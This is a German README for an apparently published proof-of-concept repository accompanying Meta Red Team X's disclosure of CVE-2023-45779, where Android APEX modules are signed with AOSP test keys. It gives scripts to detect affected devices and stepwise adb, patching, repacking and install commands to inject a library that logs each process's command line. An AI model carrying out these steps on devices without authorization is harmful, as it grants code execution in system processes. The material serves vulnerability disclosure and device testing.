metaredteam/rtx-cve-2023-45779Proof-of-Concept-Code für die Android APEX Key Reuse Vulnerability
Dieses Repository wird WIE BESEHEN bereitgestellt, um einer Offenlegung von Sicherheitslücken durch Meta Red Team X beizulegen. Es handelt sich nicht um ein offizielles Meta-Projekt und wird nicht wie ein solches unterstützt.
Eine Sammlung von Skripten und Artefakten, die die Erkennung und Ausnutzung von Android-Geräten demonstrieren, die APEXes ausliefern, die mit Testschlüsseln aus AOSP signiert sind. Vollständige Einzelheiten zu dem Problem finden Sie in unserem Blogbeitrag „Missing signs: how several brands forgot to secure a key piece of Android".
apex-checker/: Eine Reihe von Bash-Skripten, um Digests bekannter Testschlüssel zu speichern und APEXes massenweise auf Signaturen dieser Schlüssel zu überprüfen.apex-forger/: Leichte Wrapper um die AOSP-Tools apexer und deapexer, die das Entpacken, Modifizieren und Neupacken eines APEX erleichtern. Wie apktool für APEXes.vndk-libt/: Quellcode für eine Bibliothek, die wir einem anfälligen APEX hinzugefügt haben, um zu beweisen, dass wir Code ausführen können. Sie gibt lediglich die Befehlszeile jedes Prozesses, der sie lädt, an logcat aus.m apexer deapexer apksigner aus, um die benötigten Tools zu erstellen.envsetup.sh (das hier, nicht das in AOSP), um $AOSP und $ANDROID_HOST_OUT auf die entsprechenden Pfade zu setzen.adb shell getprop ro.build.version.sdk und adb shell getprop ro.vndk.version aus.adb pull /system/apex/com.android.vndk.current.apex vndk.apex. Falls nicht, holen Sie adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex, wobei <NN> für ro.vndk.version steht.apex-checker/check.sh vndk.apex, ob das APEX anfällig ist. Wenn die Ausgabe nicht mit „OI" beginnt (was bedeutet, dass sowohl die äußere als auch die innere Signatur von Testschlüsseln stammen), kann dieser PoC nicht verwendet werden (obwohl dies nicht garantiert, dass das Gerät sicher ist, da andere APEXes möglicherweise weiterhin anfällig sind).Die Hashes in apex-checker/apk-keys.txt und apex-checker/avb-keys.txt entsprechen den äußeren und inneren Testschlüsseln für die folgenden APEXes. Beachten Sie, dass es auch -goog-Varianten dieser beiden Listen gibt, die von Google nach unserem ursprünglichen Bericht erstellt wurden. Diese Listen sind im Allgemeinen vollständiger, aber wir wissen nicht genau, welche Schlüssel sie enthalten.
apex-forger/unpack.sh vndk.apex vndk.libutils.so im extrahierten APEX zu patchen, um unsere injizierte libt.so zu laden: git apply --directory=vndk vndk-libt/libutils-v31.patch. Wenn das nicht funktioniert (z.B. andere VNDK-Version), ändern Sie mit einem Hex-Editor manuell libc.so in libt.so im entsprechenden DT_NEEDED von vndk/payload/lib64/libutils.so.libt.so, indem Sie ndk-build innerhalb von vndk-libt/ ausführen. Kopieren Sie vndk-libt/libs/arm64-v8a/libt.so nach vndk/payload/lib64/libt.so.canned_fs_config aus apex_build_info.bp. Es gibt kein Tool, um dies einfach zu erledigen: Am nächsten kommt protoc --decode_raw <vndk/apex_build_info.bp, gefolgt vom manuellen Entfernen der Escape-Sequenzen von Feld #3. Platzieren Sie canned_fs_config in vndk/.canned_fs_config hinzu, wie alle anderen, für /lib64/libt.so.apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem} neu.adb install vndk/forged.apex aus.adb reboot && adb logcat -s RTXPoC:D aus.RTXPoC-Logmeldungen, jede von einem Prozess, in dem wir Code ausführen können.